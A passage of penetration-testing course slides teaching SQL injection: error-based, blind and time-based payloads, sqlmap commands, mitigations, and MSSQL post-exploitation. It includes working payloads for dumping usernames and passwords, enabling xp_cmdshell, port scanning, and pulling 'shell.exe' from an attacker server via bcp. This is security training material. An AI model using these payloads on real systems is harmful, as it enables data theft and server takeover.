Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

If a database contains three tables:


• HR
• Customers
• Products

<known table list> will:


• Be empty in the first payload. ... name NOT IN ('') will work!
• Contain 'HR' at the second step
• Contain ‘HR,’ 'Customer,’ 'Products' at the last step

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


After retrieving the tables of a database, it is also possible to
recover the columns of each table; this is the schema of the
database, and we can retrieve it by using the following payload
template:

9999 or 1 in (SELECT TOP 1 CAST (<db name>..syscolumns.name as


varchar(4096)) FROM <db name>..syscolumns,<db name>..sysobjects
WHERE <db name>..syscolumns.id=<db name>..sysobjects.id AND <db
name>..sysobjects.name=<table name> AND <db name>..syscolumns.name
NOT IN (<known column list>)); --

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


9999 or 1 in (SELECT TOP 1 CAST (<db name>..syscolumns.name as
varchar(4096)) FROM <db name>..syscolumns, <db name>..sysobjects
WHERE <db name>..syscolumns.id=<db name>..sysobjects.id AND <db
name>..sysobjects.name=<table name> AND <db name>..syscolumns.name
NOT IN (<known column list>)); --

• <db name> is the name of the database we are working on.


• <table name> is the name of the table which we are studying
• <known column list> is a list of the columns we already
retrieved

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


After enumerating the databases and their schemas, we can
proceed to the data dumping phase.

To retrieve the actual content of the database, we need to use the


understanding of the database structure we built until now. We
will, again, trigger some errors by using the cast technique.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


You can dump data by using the same technique we have seen for
schema enumeration:
9999 or 1 in (SELECT TOP 1 CAST (<column name> as varchar(4096))
FROM <db name>..<table name> WHERE <column name> NOT IN
(<retrieved data list>)); -- -

Let’s see a couple of tricks to trigger errors depending on the field


data type.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

In this example, we exploited page.php?id=1 and identified a


table called users in the database cms.

The table contains the following columns:


• id (int)
• username (varchar)
• password (varchar)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• To retrieve the id values, you can use the following payload:
Concatenation with "@"

9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar)%2bchar(64) FROM


cms..users WHERE id NOT IN ('')); -- -

Please note the concatenation of the id value with "@." This


ensures that the selected id has data type varchar thus
making the cast error possible!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Sending %2b to the web application means sending the + character
to the DBMS. The + character serves as string concatenation
command.
9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar)%2bchar(64) FROM
cms..users WHERE id NOT IN ('')); -- -

• So, the resulting error is something like

[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion


failed when converting the varchar value '1@' to data type int.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• We can then proceed with the usual method. We filter out the
id we already have:
9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar)%2bchar(64) FROM
cms..users WHERE id NOT IN ('1')); -- -

• So, the resulting error is something like

[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion


failed when converting the varchar value '2@' to data type int.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• After extracting all the ids, we can use that information to
extract all the usernames:

9999 OR 1 IN (SELECT TOP 1 CAST(username as varchar) FROM


cms..users WHERE id=1); -- -

No string concatenation is needed here because username


data type is varchar. Using the ids lets us correlate usernames
and passwords by retrieving the password of a specific
username.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• We can retrieve a password by using pretty much the same
payload we used for the username:

9999 OR 1 IN (SELECT TOP 1 CAST(password as varchar) FROM


cms..users WHERE id=1); -- -

• Or even concatenate the username and the password!

9999 OR 1 IN (SELECT username%2bchar(64)%2bpassword FROM


cms..users WHERE id=1); -- -

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the following video, you will see how to manually exploit error-
based SQL injections.

You will see different ways to trigger errors, some applied payload
examples. Moreover, you will see how to submit your payload via
the browser and a command line utility.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
To exploit error-based SQL injection on MySQL, we will use the
group by statement.

This statement groups the result-set by one or more columns.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
The following query selects the screen names from the accounts tables. Please
note the two David values.
mysql> select displayname from accounts;
+-------------------+
| displayname |
+-------------------+
| Aspen Byers |
| Alexandra Cabrera |
| David |
| David |
+-------------------+
4 rows in set (0.00 sec)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
And this is the output of the same query with the group by statement. There is
just a single David value.
mysql> select displayname from accounts group by displayname;
+-------------------+
| displayname |
+-------------------+
| Alexandra Cabrera |
| Aspen Byers |
| David |
+-------------------+
3 rows in set (0.00 sec)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The following statement is a skeleton you can use to create your
MySQL error-based injections:

select 1,2 union select count(*), concat(<information to extract>,


floor(rand(0)*2)) as x from information_schema.tables group by x;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

To extract the database version (5.5.43-0+deb7u1 in this example)


you can use:

mysql> select count(*), concat(version(), floor(rand(0)*2)) as x from


information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.43-0+deb7u11' for key
'group_key'

Result of the random function


DB Version

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To exploit a SQLi on a web application using PostgreSQL, you have to
leverage the cast technique we saw for MSSQL.

You can use this technique to extract the DB version:


Example:

# select cast(version() as numeric);


ERROR: invalid input syntax for type numeric: "PostgreSQL 9.1.15
on x86_64-unknown-linux-gnu, compiled by gcc (Debian 4.7.2-5)
4.7.2, 64-bit"

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

Or the tables, by iterating over the information_schema special database:

dbname=# select cast((select table_name from information_schema.tables


limit 1 offset 0) as numeric);
ERROR: invalid input syntax for type numeric: "pg_statistic"
dbname=# select cast((select table_name from information_schema.tables
limit 1 offset 1) as numeric);
ERROR: invalid input syntax for type numeric: "pg_type"
dbname=# select cast((select table_name from information_schema.tables
limit 1 offset 2) as numeric);
ERROR: invalid input syntax for type numeric: "pg_attribute"

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To exploit an Error-based SQL injection you need the techniques
and payload skeletons we have seen in this chapter, and you have
to study how different DBMS functions work.

You can refer to the following cheat sheets by PentestMonkey to


craft your payloads:
• MSSQL Injection Cheat Sheet
• MySQL Injection Cheat Sheet
• PostgreSQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Blind SQLi exploitation is an inference methodology you can use
to extract database schemas and data.

If the web application is not exploitable via in-band or error-based


SQL injections, yet still vulnerable, you can rely on blind
exploitation.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


This does not mean that blind SQL injections are exploitable only if
the web application does not print errors on its output.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


It simply means that when crafting a Boolean based SQLi payload,
you want to transform a query in a True/False condition which
reflects its state to the web application output.

In the following slides, we will see an example of blind SQLi’s both


on one application which prints errors on its output and a different
application which does not print errors.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In this example, id is a
vulnerable parameter.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can guess the dynamic query structure:
SELECT <fields> FROM <table> WHERE id='<id parameter>';

The query probably looks something like:


SELECT filename, views FROM images WHERE id='<id parameter>';

So, we can try to trigger an always true condition and see what
happens.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can use
' OR 'a'='a
and see that the
application shows an
image.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Let’s test it with another
always true condition:
' OR '1'=‘1

The result is the same.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


On the other hand, an
always false condition:
' OR '1'=‘11

does not find anything in


the database; there is no
image and no view
counter. So, this is clearly
an exploitable SQL
injection.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Once penetration testers find a way to tell when a condition is true
or false, they can ask the database some simple True/False
questions, like:
• Is the first letter of the username 'a'?
• Does this database contain three tables?
• And so on...

By using this method, a penetration tester can freely query the


database! Let’s see an example.
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Example:

Let’s see a way to find the current database user by using Boolean
based blind SQL injections.

We will use two MySQL functions: user() and substring().

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• user() returns the name of the user currently using the
database:

mysql> select user();


+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• substring() returns a substring of the given argument. It takes
three parameters: the input string, the position of the
substring and its length.

mysql> select substring('elearnsecurity', 2, 1);


+-----------------------------------+
| substring('elearnsecurity', 2, 1) |
+-----------------------------------+
| l |
+-----------------------------------+
1 row in set (0.00 sec)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Functions can be used as an argument of other functions.

mysql> select substring(user(), 1, 1);


+-------------------------+
| substring(user(), 1, 1) |
+-------------------------+
| r |
+-------------------------+
1 row in set (0.00 sec)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


mysql> select substring(user(), 1, 1) = 'r';
+-------------------------------+
| substring(user(), 1, 1) = 'r' | True
+-------------------------------+
• Moreover, SQL allows you | 1 |
+-------------------------------+
to test the output of a 1 row in set (0.00 sec)

function in a True/False mysql> select substring(user(), 1, 1) = 'a';


+-------------------------------+
condition. | substring(user(), 1, 1) = 'a' | False
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


By combining those features, we can iterate over the letters of the
username by using payloads such as:
• ' or substr(user(), 1, 1)= 'a
• ' or substr(user(), 1, 1)= 'b
• ...

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


When we find the first letter, we can move to the second:
• ' or substr(user(), 2, 1)= 'a
• ' or substr(user(), 2, 1)= 'b
• ...

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We continue down this path until
we know the entire username.

Here you can see that the first


letter of the database username of
the web application is "s." We infer
this because we see an image and
we know an image is shown only
upon a TRUE condition.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Submitting all the payloads needed to find a username by hand is
very impractical. Doing the same to extract the content of an
entire database would be nearly impossible.

In the SQLMap chapter, you will see how to automate the dumping
phase.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Now we can see another example, a web application that does not
print any error on its output.

The methodology used to exploit the SQLi is the same!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


This is the web application output for a false condition.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


And this is the output for a
true condition.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The string Nokia appears only when a correct guess is made (true
condition).

We want to understand what the output looks like when we have a


correct guess.

We will have to find text in the web page code that will only
appear for the correct guess; this will let us tell a match from a
mismatch.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

If the value of a field is Armando, we will have to make 7 iterations


through the whole charset (one per character in the string)!

We will have made a correct guess when the string Nokia will be
met in the output.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Since the main difference between Error-based/in-band and blind
sql injections is the large numbers of requests performed (and the
time consumed as a consequence), our first objective is to narrow
down the charset.

The charset will be our iteration space, so the smaller it is, the
sooner we will retrieve the correct value.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
To retrieve the first letter of a string containing "dbo," we have to
submit the following payloads to the web application:

9999 or SUBSTRING(user_name(),1,1) = 'a';--

Output from the web app: FALSE

9999 or SUBSTRING(user_name(),1,1) = 'b';--

Output from the web app: FALSE

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


9999 or SUBSTRING(user_name(),1,1) = 'c';--

Output from the web app: FALSE

9999 or SUBSTRING(user_name(),1,1) = 'd';--

Output from the web app: True

This tells us that the first letter of the username id "d."

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


It is clear that you will hardly perform manual exploitation of Blind
SQL injection vulnerabilities.

However, when building your own BSQLi shell scripts, you need to
keep the process as fast as possible.

We will now see a simple technique to reduce the number of


requests by narrowing down the number of characters in the
charset.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


One of the best optimizations you can do to your Blind SQL
injection exploitation algorithm is to reduce the number of
iterations you have to do per character.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


This means that you need to be able to understand if the character
you're trying to guess is:
• [A-Z]
• [a-z]
• [0-9]

We will now review a technique discovered by SecForce.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The first test is to see if the conversion to upper case of the current
character will yield a FALSE or TRUE condition:

ASCII(UPPER(SUBSTRING((<query>),<position>, 1)))=
ASCII(SUBSTRING((<query>), <position>, 1))

Make note of the TRUE or FALSE condition you find.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=
ASCII(SUBSTRING((MY Query), <position>, 1))

The ASCII() SQL function returns the ASCII code of a character.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=
ASCII(SUBSTRING((MY Query), <position>, 1))

The UPPER() function transforms a character into uppercase.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=
ASCII(SUBSTRING((MY Query), <position>, 1))

Finally, we test if a character of a query is the same of its


uppercase relative.

Example:

a does not equal A


A equals A

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Then, we test if the conversion to lower case of the current
character will yield a FALSE or TRUE condition:

ASCII(LOWER(SUBSTRING((<query>),<position>, 1)))=
ASCII(SUBSTRING((<query>), <position>, 1))

Make note of the TRUE or FALSE condition you find.

Lower() converts a character to lowercase.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Now it is time to evaluate the results:
• If the first query returns TRUE and the second is FALSE, the character
is uppercase:
We will iterate through [A-Z] only
• If the first query returns FALSE and the second is TRUE the character
is lowercase:
We will iterate through [a-z] only
• If both queries are TRUE our character is either a number or a
symbol:
We will iterate through [0-9] and symbols only

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Another Blind SQL Injection technique is called
Time-Based Blind Sql injection. Time is used to infer a TRUE
condition from a FALSE condition.

This SQL syntax is used:


%SQL condition% waitfor delay '0:0:5’

If the SQL condition is TRUE, the DBMS will delay for 6 seconds.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Below are some examples of Time-Based SQL Injection:

• Check if we are ‘sa’ (MS SQL Server)


if (select user) = 'sa' waitfor delay '0:0:5‘

• Guess a database value (MySQL)


IF EXISTS (SELECT * FROM users WHERE username =
‘armando') BENCHMARK(10000000,MD5(1))

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Benchmark will perform MD5(1) function 1000000 times if the IF
clause yields TRUE (thus consuming time).

You should be careful with the first argument of BENCHMARK(). It


may seriously affect the server load

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the following video, you will see how to manually exploit a blind
SQL injection.

You will also see how to write some scripts to automate the
exploitation.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
After seeing how manual exploitation of a SQL injection works, it is
time to see one of the best and most used tools in this field:
SQLMap!

We will first take a look at its basic features; then, we will move on
to advanced settings.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


As the official documentation says:

"SQLMap is an open source penetration testing tool that


automates the process of detecting and exploiting SQL injection
flaws and taking over of database servers."

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


With SQLMap you can both detect and exploit SQL injections.

We strongly recommend you to test your injections by hand first


and then move to the tool because if you go fully automatic, the
tool could choose an inefficient exploitation strategy or even
crash the remote service!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The basic syntax is pretty simple:

$ sqlmap –u <URL> -p <injection parameter> [options]

SQLMap needs to know the vulnerable URL and the parameter to


test for a SQLi. It could even go fully automatic without providing
any specific parameter to test.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

To exploit the union-based in-band SQLi of one of our previous


examples, the syntax would have been:

$ sqlmap -u 'http://victim.site/view.php?id=1141' -p id --technique=U

This tells SQLMap to test the id parameter of the GET request for
view.php. Moreover, it tells SQLMap to use a UNION based SQL
injection technique.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


If you have to exploit a POST parameter you have to use:

$ sqlmap –u <URL> --data=<POST string> -p parameter [options]

You can write the POST string by yourself or copy it from a request
intercepted with Burp Proxy.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Another way
to use SQLMap
is by saving a
request
intercepted
with Burp
Proxy to a file.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


And then, specify it on the command line:

$ sqlmap –r <request file> -p parameter [options]

You can also copy the POST string from a request intercepted with
Burp Proxy.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The very first step of most SQLi exploitations is grabbing the
database banner. By using the --banner switch, you can grab the
database banner; this is extremely helpful both to test your
injection and to have a proof of the exploitability of the
vulnerability to include in your report.

$ sqlmap -u <target> --banner <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Then, you can move to a sort of information gathering phase.

The first thing is to list the users of the database:

$ sqlmap -u <target> --users <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Now we’ll check if the web application database user is a database
administrator:

$ sqlmap -u <target> --is-dba <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The --dbs command lets you list all the available databases:

$ sqlmap -u <target> --dbs <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


After that, you can choose a database by using the -D switch and
list its tables:

$ sqlmap -u <target> -D <database> --tables <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the same manner, you can choose one or more tables and list
their columns:

$ sqlmap -u <target> -D <database> -T <tables, comma separated


list> --columns <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Finally, you can dump just the columns you need:

$ sqlmap -u <target> -D <database> -T <table> -C <columns list> --


dump <other options>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In the following video, you will see how to identify SQL injection
vectors.

You will see how to use Boolean logic injections to test vulnerable
parameters and use SQLMap to perform basic SQLi exploitation.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
In the following video, you will see how to configure and use
SQLMap to automate your SQL injections! The video covers:
• Best practices and the best workflow to perform SQLi
exploitation with SQLMap
• Exploiting GET injections
• Exploiting POST injections
• Checking the payloads used
• Configuring the right technique to use
• Using Burp Proxy and SQLMap

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Not all web application and exploitation scenarios are the same.

Because of that, SQLMap provides you with some useful command


line switches that help to fine tune the following:
• The DBMS you are attacking
• Injection point
• Payload aggressiveness
• Exploitation speed and load on the client's infrastructure

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Different DBMSs offer different features; this also implies that you
have to exploit different commands and default configuration to
perform a SQLi exploitation.

SQLMap automatically detects the DBMS behind a web application


automatically. If it fails you can specify the DBMS by hand:

$ sqlmap --dbms=<DBMS> ...

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The DBMSs you can specify are:
• MySQL • SQLite
• Oracle • Firebird
• PostgreSQL • Sybase
• Microsoft SQL Server • SAP MaxDB
• Microsoft Access • DB2
Specifying the DBMS also helps to shorten the detection phase
and its detectability. Beware that specifying the wrong DBMS
means sending useless payloads to the target application.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web applications sometimes change their output in a way that
SQLMap cannot figure out; this makes blind exploitation
impossible.

To get around that, you can use the --string and --not-
string command line switches:
• Append to --string a string which is always present in
true output pages or
• Append to --not-string a string which is always present
in false output pages

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

Using the --string command line switch in the previous cell


phones selling site

$ sqlmap -u 'http://localhost/ecommerce.php?id=1' --string "nokia"


<other switches>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Sometimes a SQLi payload is inserted in a structured POST
parameter like a JSON, or you need to insert some characters to
make the query syntactically correct.

You can do that by using the --prefix and --suffix


command line switches.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

If injected payloads need to end with '));

$ sqlmap -u <URL> --suffix "'));" <other switches>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


For the sake of simplicity in our examples, we always exploited GET
parameters, but SQLi can be performed on any client-side input
field. To make a SQLMap test:
• The Cookie header values 2
• The User-Agent and Referrer headers 3
• The Host header 5

You have to use the --level command line switch.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


By default (Level 1) SQLMap tests GET and POST parameters;
increasing Level to 2 makes it test Cookie headers and increasing it
more makes it test other headers and increase the number of
columns tested for in-band exploitation.

Please note that the use of the -p switch bypasses the Level. This
means that by manually setting the parameter to test, you can
perform a more accurate, stealthy and in-depth exploitation.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


As we have seen in this module, SQL injections are very powerful;
this means that they also have a lot of potential to destroy or
create a denial of service on your client's infrastructure.
Example:
Permanently injecting some heavy time-based SQLis on a popular
page on a website can:
• Make the page load extremely slow
• Eat-up all the CPU resources available for that site

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The --risk parameter lets you fine-tune how dangerous your
injections can be. Use this parameter when needed only after
carefully studying the web application you are testing!

Generally speaking, launching SQLMap with both a high level and


risk and letting it automatically test for injection points is very
unprofessional and will probably generate issues to your client's
infrastructure!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


There are three Risk levels. Increasing Risk means first enabling
heavy time-based injections and then enabling OR-based
injections.
Risk SQLMap Behavior
1 (Default) innocuous injections
2 Enables heavy time-based injections
3 Enables OR-based injections

OR-based injections are enabled only on the highest Risk value


because using them on UPDATE queries would update all the rows
in a table.
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
SQLi injections can take a long time to dump the data needed in a
pentest.

This time can be reduced by using a persistent connection to the


target by using the --keep-alive command line switch.

$ sqlmap -u <target> --keep-alive <other commands>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Once you find how to exploit a SQLi, you can reduce the dumping
phase time by using parallel threads. Use the --threads
command line switch with an argument ranging from 1 to 10.

Using 7 threads to exploit a blind injection


Example:

$ sqlmap -u <target> --technique=B --threads 7 <other commands>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


SQL Injections are one of the most common attacks black hat
hackers use; they can rapidly take control over data and get
unauthorized access to the entire server!

As a penetration tester, you have to find a way to exploit SQL


injections without destroying your client's web application or
causing a denial of service. As always in ethical hacking, knowledge
is the key to success!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
SQLi vulnerabilities are input validation vulnerabilities and can be
prevented by enforcing input validation on any user-controlled
parameter.

In the following slides, you will see some mitigation strategies you
can propose to a client in your report.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web applications, which use SQL, can separate the code from
instructions using bind variables in SQL; this is the best solution to
mitigate SQL Injection and should always be favored over any
other solution.

Implementing prepared statements could be a long-term objective


as it implies code refactoring of nearly every SQL interaction in the
web application.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:
This is what a prepared statement in PHP looks like: No user-controlled
input in the query
$sql = "INSERT INTO test_table VALUES (?, ?, ?, ?)";
$sql_statement = $mysqli->prepare($sql);
$sql_statement->bind_param('dsss', $user_id, $name, $address,
$email);
$user_id = $_POST['user_id']; Tells the library which
$name = $_POST['name']; variable goes to which
$address = $_POST['address']; part of the query
$email = $_POST['email'];
Executes the
$sql_statement->execute();
query

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


A short-term method to prevent some SQLis is to perform type
casting for some data types, perhaps most notably integer
numbers:

Example:

$user_id = (int) $user_id;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Input validation is a great short-term remediation and a good
practice to put in production on top of prepared statements.

It can sometimes protect your application if a SQL Injection


vulnerability is otherwise somehow introduced by accident.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

This is a white-list based validation example written in PHP. Only


letters, spaces, and dashes are allowed:

if (!preg_match(|'^[a-z\s-]$|i', $name)) {
die('Please enter a valid name');
}

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
In this chapter, you will see how to use some advanced features
provided by MS SQL Server and MySQL.

These features can be exploited to get access to the DMBS server


machine.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


SQL Server is a very powerful DBMS, providing advanced features
to database administrators. Most of these features are privileged
commands.

Users like dbo are not usually privileged enough to perform these
commands.

From a penetration tester point of view, you can exploit these


features to perform the advanced attacks that we will review in the
next slides.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Since we will need high privileges, our first testing objectives is to
retrieve the sa user's password.

Once we have the SHA-1 hash of the password, we can crack it and
access the database in the same manner as a legitimate database
administrator.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


There are two queries you can run to retrieve the username and
the password hash:

SELECT name, password FROM master..sysxlogins

SELECT name, password_hash FROM master.sys.sql_logins

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The sa user has complete control over the DBMS, the databases it
contains and...the advanced features!

Most of the functionalities useful for a penetration tester exploit the


xp_cmdshell stored procedure.

You can use the following syntax to run any OS command:

EXEC master..xp_cmdshell '<command>'

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


However, xp_cmdshell is not enabled by default. Moreover, it
requires sa privileges.

But, if the web application is connecting to the backend DB as the


sa user, or we can somewhat connect as sa, we can enable it!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To enable it we have to issue the following commands:

EXEC sp_configure 'show advanced options', 1;


RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


And, we can re-disable it after we are done with our tests:

EXEC sp_configure 'xp_cmdshell', 0;


EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


By using xp_cmdshell, we can launch some commands on the
database server.

We can combine this with some other SQL Server features to


mount a host enumeration utility via SQL injections.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Issuing a ping command is just a matter of running:

EXEC master.dbo.xp_cmdshell 'ping <target IP address>'

Unfortunately, the query above does not show results to a


penetration tester.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


We can use the query execution time to infer the ping result. To
do that, we have to compare the execution time of a ping
command executed against a known live host and the execution
time against the host we want to test. The database server is often
your best choice for a known live server.

So, we test it first and note the execution time. We then try with
another host.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


By default, the MS ping utility sends four ICMP echo requests; this
means that pinging a live host takes about 5 to 8 seconds while
pinging a bogus IP address takes from 20 to 30 seconds.

By using an advanced SQL Server feature, we can also implement a


simple port scanner.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


OPENROWSET is a SQL Server method you can use to access the
tables of a remote server. It needs the IP address and the port to
connect to. This can be exploited to create a port scanner.

SELECT * from OPENROWSET('SQLOLEDB',


'uid=sa;pwd=something;Network=DBMSSOCN;Address=<target IP>,<target
port>;timeout=<connection timeout in seconds>', 'select 1')--

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• If the port is closed we will see an error similar to this:
SQL Server does not exist or access denied

• If the port is open we will see:


General network error.
Check your network documentation

• If errors are hidden, and the port is closed, the connection will
timeout according to the <connection timeout in
seconds> value.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Going on, you can also read the file system by launching the dir
command:

EXEC master..xp_cmdshell 'dir <target directory>'

That will return the directory listing of <target directory>.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To read the result, we can save the output of the command on a
web accessible folder:

EXEC master..xp_cmdshell 'dir c:\ > C:\inetpub\wwwroot\site\dir.txt'--

and then just browse to dir.txt at the URL:


http://site.com/dir.txt

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Or, we can read a file on the server and then put its content into a
table. We can then extract the table via SQLi as any other table:

CREATE TABLE filecontent(line varchar(8000));


BULK INSERT filecontent FROM '<target file>';

/* Remeber to drop the table after extracting it:


DROP TABLE filecontent;
*/

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


By using MSSQL advanced features, it is also possible to upload a
file to the victim server.

Uploading a file involves 2 steps:


1• First, we have to insert the file into a table in a MS SQL
database under our control

CREATE TABLE HelperTable (file text)


BULK INSERT HelperTable FROM 'shell.exe' WITH (codepage='RAW')

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


2• Then, we force the target DB server to retrieve it from our
server:

EXEC xp_cmdshell 'bcp "SELECT * FROM HelperTable" queryout


shell.exe -c -Craw -S<our server address> -U<our server username>
-P<our server password>'

The victim server will connect to our SQL server, read the exe file
from the table and recreate it remotely.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Now that you know everything about advanced exploitation of SQL
Server, let’s look at a technique to save the results of these stored
procedures in a temporary table.

We can then read the results by using some data dumping


techniques.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Creating a temporary table

The first thing we want to do is to create a temporary table to hold the


stored procedure output:

